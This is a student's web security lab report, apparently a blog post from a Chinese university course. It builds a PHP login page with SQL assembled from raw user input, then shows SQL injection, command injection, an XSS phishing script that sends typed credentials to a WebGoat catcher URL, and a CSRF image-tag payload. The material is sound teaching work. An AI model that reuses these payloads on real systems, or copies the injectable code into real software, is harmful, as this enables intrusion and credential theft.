Fork me on GitHub

Web综合

实 验 报 告

课程:网络对抗技术

班级:2012 姓名:郭幸坤 学号:20201213

实验名称:Web综合 实验日期:2023.5.23


实验目的

  1. 理解HTML,理解表单,理解GET与POST方法。
  2. 使用Apache启停HTTP服务。
  3. 掌握简单的网站前端和后端的编写编程知识
  4. 掌握SQL注入,xss、CSRF的基本攻击原理

实验内容

(1) Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2) Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3) Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4) Web后端:编写PHP网页,连接数据库,进行用户认证
(5) 最简单的SQL注入,XSS攻击测试
(6) 选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。

实验过程

(一)Web前端HTML

1-基础知识

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

1-1-html

HTML 超文本标记语言。

HTML 文件实际上是个文本文件,经过浏览器解析,形成看到的网页。

HTML 主要由一个个标签组成,和 XML 类似。

1-2-表单

表单是 HTML 的一种标签。

菜鸟教程:https://www.runoob.com/tags/tag-form.html

它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。

需要特殊指出的是,form 表单中不具有 name 属性的输入数据是不会被提交的。

因为 form 表单提交数据的方式是名值对(或者键值对),没有“名”,只有“值”,是非法的。

1-3-Get和POST的区别

老生长谈了,大家自行百度,我去年百度第一个也是 https://baijiahao.baidu.com/s?id=1674791753672583610&wfr=spider&for=pc

最重要的区别:Get 请求携带的数据是写在 http 报头的路径里面的(问号后面),POST 请求携带的数据是写在 http 报文后面的数据里面的。

携带数据的格式是键值对,类似于 JSON 和 python 中的字典数据结构。eg:name1:value1&name2:value2&......

用 burp 抓包给大家看一下,有个直观的感受。

一个简单的表单

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
	</head>
	<body>
		<form action="http://www.baidu.com" method="POST">
			<p>username</p>
			<input type="text" name="username"/>
			<p>password</p>
			<input type="password" name = "passwd" />
			<p>sex</p>
			<input type="text" name="sex"/>
			<br><br>
			<input type="submit"/>
		</form>
	</body>
</html>

填写

POST 请求

把 表单中的 POST请求 改成 GET请求

2-apache

  1. 在 Ubuntu20.04 上安装 Apache
sudo apt-get install apache2
  1. 启停 Apache

查看Apache状态

sudo systemctl status apache2

他说成功启动了,验证一下

http://localhost 默认80端口

停止Apache服务

service apache2 stop

重要的默认安装路径

/etc/apache2/apache2.conf     Apache配置文件
/var/www/html                 网站根目录
/var/log/apache2              日志

3-一个简单的html网页

这个是我之前写的一个,CSS直接扒大佬的即可

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <div th:include="common/css::css"></div>
    <script src="../../static/js/login.js"></script>
</head>
<body>
<!-- loader Start -->
<div id="loading">
    <div id="loading-center">
    </div>
</div>
<!-- loader END -->
<!-- Sign in Start -->
<section class="sign-in-page">
    <div class="container bg-white mt-5 p-0">
        <div class="row no-gutters">
            <div class="col-sm-6 align-self-center">
                <div class="sign-in-from">
                    <h1 class="mb-0">登录</h1>
                    <p>请输入你的邮箱和密码来登录系统</p>
                    <p style="color: red" th:text="${str}" th:if="${not #strings.isEmpty(str)}"></p>
                    <div id="error-message" class="alert alert-danger" style="display: none;"></div>
                    <form class="mt-4" method="post" th:action="@{/login}" id="loginForm">
                        <div class="form-group">
                            <label for="email">邮件地址</label>
                            <input type="text" class="form-control mb-0" id="email" name="email" placeholder="输入邮件地址">
                        </div>
                        <div class="form-group">
                            <label for="password">密码</label>
                            <a th:href="@{#}" class="float-right">忘记密码?</a>
                            <input type="password" class="form-control mb-0" id="password" name="password" placeholder="密码">
                        </div>
                        <div class="d-inline-block w-100">
                            <div class="custom-control custom-checkbox d-inline-block mt-2 pt-1">
                                <input type="checkbox" class="custom-control-input" id="customCheck1">
                                <label class="custom-control-label" for="customCheck1">记住我</label>
                            </div>
                            <button type="submit" class="btn btn-primary float-right">登录</button>
                        </div>
                        <div class="sign-info">
                            <span class="dark-color d-inline-block line-height-2">没有账号?<a th:href="@{/register}">请注册</a></span>
                            <ul class="iq-social-media">
                                <li><a href="#"><i class="ri-facebook-box-line"></i></a></li>
                                <li><a href="#"><i class="ri-twitter-line"></i></a></li>
                                <li><a href="#"><i class="ri-instagram-line"></i></a></li>
                            </ul>
                        </div>
                    </form>
                </div>
            </div>
            <div class="col-sm-6 text-center">
                <div class="sign-in-detail text-white">
                    <a class="sign-in-logo mb-5" href="#"><img th:src="@{/images/logo-white.png}" class="img-fluid" alt="logo"></a>
                    <div class="owl-carousel" data-autoplay="true" data-loop="true" data-nav="false" data-dots="true" data-items="1" data-items-laptop="1" data-items-tab="1" data-items-mobile="1" data-items-mobile-sm="1" data-margin="0">
                        <div class="item">
                            <img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
                            <h4 class="mb-1 text-white">管理学生</h4>
                            <p>毫无疑问这是一个简单的学生管理系统</p>
                        </div>
                        <div class="item">
                            <img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
                            <h4 class="mb-1 text-white">管理学生</h4>
                            <p>毫无疑问这是一个简单的学生管理系统</p>
                        </div>
                        <div class="item">
                            <img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
                            <h4 class="mb-1 text-white">管理学生</h4>
                            <p>毫无疑问这是一个简单的学生管理系统</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>
<div th:include="common/js::js"></div>
</body>
</html>

(二)Web前端javascipt

1-js基础知识

1-1-JavaScript

JavaScript是一种编程语言,由浏览器解析并执行,主要用于控制网页和浏览器的行为(前端)。

其中事件-响应机制,是主要的和用户交互的方法。

后来 JavaScript 出圈了,用 JS 的人越来越多,JS 的功能也越来越丰富和强大,现在 JS 也可以用于后端开发。

目前 JavaScript 已经超过 PHP ,位于编程语言排行榜的第 6 名左右。

1-2-DOM

DOM 文档对象模型,是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API)。

DOM 是一种标准,各个编程语言通过实现这个标准,提供操控 DOM 的功能。

当网页被加载时,浏览器会创建页面的文档对象模型。

JS 操作 DOM 的简单例子:document.getElementById("demo").innerHTML = "Hello World!";

W3school 教程传送门:https://www.w3school.com.cn/js/js_htmldom_document.asp

1-3-JavaScript安全问题

前端的JavaScript代码是可以在浏览器里面被用户禁用的。

如果想用 JavaScript 做验证,那么这是很不安全的。因为用户可以把你的这段代码删除掉或者禁用掉。

一个典型的例子是文件上传漏洞。

比如我用 JavaScript 限制用户只能上传 png 后缀的图片,但用户可以通过禁用 JavaScript 代码,突破你的限制。

也可以使用 burp 抓包工具,在 JavaScript 运行完之后,篡改 http 数据包,从而突破限制。

总而言之,只用 JavaScript 做安全性的校验,是不可取的。

2-一个带js前端验证的登录页面

login.js

function isEmailValid(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
}

function isPasswordSafe(password) {
    const sqlInjectionRegex = /('|"|\*|;|=|\\|--|\/\*|\*\/|\/\/)/g;
    return !sqlInjectionRegex.test(password);
}

function displayErrorMessage(message) {
    const errorElement = document.getElementById('error-message');
    errorElement.innerText = message;
    errorElement.style.display = 'block';
}

function hideErrorMessage() {
    const errorElement = document.getElementById('error-message');
    errorElement.style.display = 'none';
}

document.getElementById('loginForm').addEventListener('submit', function (event) {
    const email = document.getElementById('email').value;
    const password = document.getElementById('password').value;

    if (!isEmailValid(email) || !isPasswordSafe(password)) {
        event.preventDefault();
        displayErrorMessage('账号或密码有误,请重试');
    } else {
        hideErrorMessage();
    }
});

邮箱检验和密码检验

3-注入攻击

注入 JS 脚本的根本要求:1.输入可控。2.页面要回显我输入的恶意代码。

在我这个前端中,用户名(邮箱)是可能被注入攻击的地方

用户名是我可以控制的,而且用户名会在 “欢迎您 + 用户名” 中回显。

但是我的 JS 又限制了用户名只能是邮箱。

这个时候就要利用 JS 的安全问题,F12 篡改 JS 代码,把 onblur 等校验函数都删了。

然后用户名用:<script>alert(1);</script>,提交表单。

但是由于springboot的验证本身就能够抵御这种低端攻击,所以我是没办法了,大佬或许还有绕过的办法。并且现在的浏览器多数都能自动检测出这种注入攻击(XSS),他直接把攻击代码给搞没了。

(三)Web后端:MySQL基础

1-安装mysql

sudo apt-get install mysql-server      //用于运行 MySQL 服务,通常是在3306端口
sudo apt-get install mysql-client      //用于远程登录 MySQL 服务
# sudo apt-get install phpmyadmin      //图形化mysql管理工具(网页式)

启动 MySQL 服务

service mysql start           //stop,restart
sudo systemctl status mysql        //查看MySQL服务的状态

2-简单使用

主要是为了后面 PHP 连接操作做准备,详细使用请参考 MySQL 官方手册。

2-1-登录 MySQL 服务,并进行安全配置

sudo mysql -uroot -p
exit

2-2-创建数据库

CREATE DATABASE IF NOT EXISTS flowershop;
use flowershop

2-3-创建表

创建一个用户表

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `ID` varchar(32) NOT NULL,
  `NAME` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `PASSWORD` varchar(20) NOT NULL,
  `SEX` varchar(1) NOT NULL,
  `BIRTHDAY` datetime DEFAULT NULL,
  `EMAIL` varchar(60) DEFAULT NULL,
  `MOBILE` varchar(11) DEFAULT NULL,
  `ADDRESS` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `STATUS` decimal(6,0) NOT NULL,
  PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

2-4-插入数据

INSERT INTO `user` VALUES ('admin1', 'gxk', '1234qwer', 'T', null, '123123@qq.com', null, null, '0');
INSERT INTO `user` VALUES ('client1', null, 'aaaaaa', 'T', null, 'jdsf@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client2', null, 'asdfasdf', 'T', null, '234498237@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client3', '徐亮', '222222', 'T', '2010-01-01 00:00:00', 'xulaign@qq.com', '1882394', 'beijignsh', '1');
INSERT INTO `user` VALUES ('李四', '李四', 'adsjfl', 'T', '2021-01-01 00:00:00', 'ASDF', 'ASDF', 'ASDF', '1');

2-5-新建用户

每次都用最高权限的 root 用户登录数据库是存在安全隐患的

所以我们新建一个用于管理 flowershop 数据库的用户,可以远程连接

create user 'FSadmin'@'%' identified by 'FSadmin_123123';

//报错了,可能是因为已经创建过了,检查一下
use mysql;
select user,host from user;

确实已经创建过了

img

2-6-用户授权

使 FSadmin 拥有 flowershop 数据库的管理员权限

grant all privileges on flowershop.* to 'FSadmin'@'%' with grant option;
FLUSH PRIVILEGES;

退出当前用户,使用 FSadmin 登录 flowershop 数据库

mysql -uFSadmin -p flowershop

img

检查权限

insert into user values('admin','gxk','123123','T',null,null,null,null,0);

delete from user where id='admin';

没问题

2-7-修改密码

个人觉得 mysqladmin 命令挺好用的

mysqladmin -u用户名 -p旧密码 password 新密码

(四)Web后端:PHP基础

1-phptest

  • /var/www/html目录下新建一个PHP测试文件phptest.php
<?php
echo "Hello word! This is 20201213gxk php test page!<br>";
?>
  • 在浏览器网址栏中输入localhost:80/phptest.php,可看到文件的内容

2-一个用户登录的php网页

连接数据库的 PHP 代码一般是单拿出写的,好处有很多。

conn.php

<?php

    $db_host   = 'localhost';         //数据库主机名称,一般都为localhost 
    $db_user   = 'FSadmin';           //数据库用户帐号,根据个人情况而定 
    $db_passw = 'FSadmin_123123';     //数据库用户密码,根据个人情况而定 
    $db_name  = 'flowershop';         //数据库具体名称,以刚才创建的数据库为准
    
    //连接数据库 
    $conn = mysqli_connect($db_host,$db_user,$db_passw) or die('mysql connect error:'.mysqli_error($conn)); 
    //设置字符集,如utf8和gbk等,根据数据库的字符集而定 
    mysqli_query($conn, "set names 'utf8'"); 
    //选定数据库 
    mysqli_select_db($conn, $db_name) or die('database change error:'.mysqli_error($conn)); 
?>

login.php

<?php 
	require('conn.php');

    session_start();

    $pn = $_POST['phoneNumber'];
    $pwd = $_POST['pwd'];
	//执行SQL语句(查询) 
    $sql="select count(*) from user where mobile='$pn' and password='$pwd'";
    var_dump($sql);
    $rs = mysqli_query($conn, $sql) or die('query failed'.mysql_error($conn));
    $row = mysqli_fetch_assoc($rs);

    if($row['count(*)']==1){
        $_SESSION['phoneNumber'] = $pn;
        echo "<script>window.location.href='index.php';</script>";
        
    }else{
        echo "<script>alert('用户名或密码错误');window.location.href='login.html';</script>";
    }
?>

index.php 也要改一下

<?php
    session_start();

    $user = $_SESSION['phoneNumber'];
    $file = file_get_contents("index.html");

    if(isset($user)){
        $file = str_replace('<a href="./login.html" id="login">登录</a><a href="./reg.html" id="reg">注册</a>', "欢迎您:$user", $file);
    }
    echo $file;
?>

正确登录,跳转到index.php

(五)最简单的SQL注入,XSS攻击测试

1-SQL注入

  • 在用户名输入框输入' or 1=1#,密码任意输入:

    image

  • 登陆成功!这是因为,输入的用户名和我们的代码中select语句组合起来变成了select * from users where username='' or 1=1#' and password=''#相当于注释符,会把后面的内容都注释掉,而1=1是永真式,所以这个条件永远成立。不管密码是否输入正确,都能够成功登陆。

    image

2-XSS攻击

2-1最简单的xss

之前的 xss 之前已经不行了,因为用户名不是我们可以任意控制的了,现在用户名必须来源于数据库中已有的数据。

但如果有注册功能,我们可以利用注册功能,向数据库写入一个我们可以控制的用户名,这样用户名还是可控的。所以我的系统里面最简单的 xss 要结合 SQL 注入实现。

在用户名之后,加上'#<script>alert(1)</script>

任务六:选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

(一)安装Webgoat

  • 官网下载jdk-8u291-linux-x64.tar.gz ,并参考网页进行环境配置

2、建立目录,将下载的jdk复制过去并解压

sudo mkdir -p /usr/local/java
sudo cp jdk-8u161-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u91-linux-x64.tar.gz

3、配置环境变量

sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_371
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

4、通知系统java的位置

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_371/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_371/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_371/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_371/bin/javaws" 1

5、设置默认JDK

sudo update-alternatives --set java /usr/local/java/jdk1.8.0_371/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_371/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_371/bin/javaws

6、重新载入profile

source /etc/profile

通过 java -version以及javac -version即可看到是否安装完成

  • 下载webgoat-container-7.1-exec.jar文件

  • WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程

  • 普通安装,需要在含有webgoat-container-7.1-exec.jar文件的目录下执行java -jar webgoat-container-7.1-exec.jar,看到Starting ProtocolHandler ["http-bio-8080"]这一条消息之后,即可开始后续的实验

  • 浏览器中输入:http://localhost:8080/WebGoat,进入WebGoat登录界面;下方已经给出两组默认的用户名和密码,直接使用一组登陆即可开始实验

(二)SQL注入攻击(Injection Flaws)

命令注入(Command Injection)
  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改

  • 在左侧菜单栏中选择Injection Flaws->Command Injection,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

  • 点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

字符串型注入(String SQL Injection)
  • 正常情况下只能查询到用户名对应的信用卡号码

  • 输入查询的用户名Smith' or 1=1--,这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据,进而得到所有用户的信用卡号码,攻击成功!

(三)XSS攻击

  • 在菜单栏中选择Cross‐Site Scripting,展开页面中选择 Phishing with XSS

  • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:

    • 受害人填写一个表格;
    • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

(四)CSRF攻击——跨站请求伪造

  • 在菜单栏中选择Cross‐Site Scripting,展开页面中选择Cross Site Request Forgery (CSRF)

  • 查看页面右侧Parameters中的src和menu值,分别为2078372和900

  • 在title中输入任何参数,message框中输入以下内容:

    <img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
    
    • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

实验体会

以前搭建 LAMP 的时候,多数都用的 phpstudy 快速搭建,非常方便,而且可以随意切换组件的版本。少数是直接用的 LAMP,总之就是从来没有一个个地搭建 apache 、MySQL 和 PHP 环境。

所以也是趁此机会,体验一下手动从头搭建一遍 LAMP 的环境。

CTF的时候,SQL注入多是都是 MySQL 数据库,这回 webgoat 用的应该不是 MySQL,搞的有点不适应,还好字段直接就猜出来了,之后就比较顺利。这也提醒我给字段起名字的时候,可以增加复杂度,万一真的系统存在 SQL 注入,也算是一个小小的防护手段。

总的来说,本次实验帮我回顾了一下 web 的开发 和 web 的基础安全问题。

在现实生活中,先拿到 web shell,再借助 web shell 拿到 服务器 shell 可以说是非常的常见。

也可能是因为 web 是应用层,应用程序员的开发水平参差不齐,以前很多 web 开发的程序员,都是不管安全问题的,像 SQL注入,文件上传,XSS 都是比较常见的。

随着攻击方的自动化工具越来越多,发起攻击的门槛越来越低,现在多数网站都做了安全防护,又是一页矛与盾的进化史。

基础问题回答

问题1

什么是表单?

表单是 HTML 的一个标签。它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。

问题2

浏览器可以解析运行什么语言?

非编程语言:HTML、CSS、XML

编程语言:JavaScript

其实主要还是看厂商支持什么,目前主流的浏览器都是配备了 JavaScript 解析引擎,所以能解析 JavaScript。

给大家看个有趣的东西:去年5月初 python 也进军了前端 !!推出了在浏览器运行 python 代码的 alpha 版本,芜湖

<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>

<body>
<py-script>
print("hello py-script ~\nI am {}".format("20201213"))
</py-script></body>

</html>

官网: https://pyscript.net/ 由于是外网,网速比较慢。

问题3

WebServer支持哪些动态语言?

主流:PHP、Java(JSP、Servlet)、Python、JavaScript(Node.js)、ASP、Ruby、

除此之外还有:Go,C# 等

框架我就没算上了。

问题4

防范注入攻击的方法有哪些?

  1. 对特殊符号进行转义。
  2. 严格过滤用户输入。
  3. SQL预编译。(绕过:order by + case when)
  4. WAF防护
  5. 纵深防御:在数据库层面,严格设计用户和权限,设计视图(虚表),增加表名、列名的复杂度...
  6. 联合其他手段:比如一旦检测到一次注入攻击,就立即禁掉该用户的IP,防止后续注入攻击(一般都需要信息搜集,不太可能一次注入就达到目的)
posted @ 2023-05-26 06:35  郭幸坤  阅读(27)  评论(0编辑  收藏  举报
1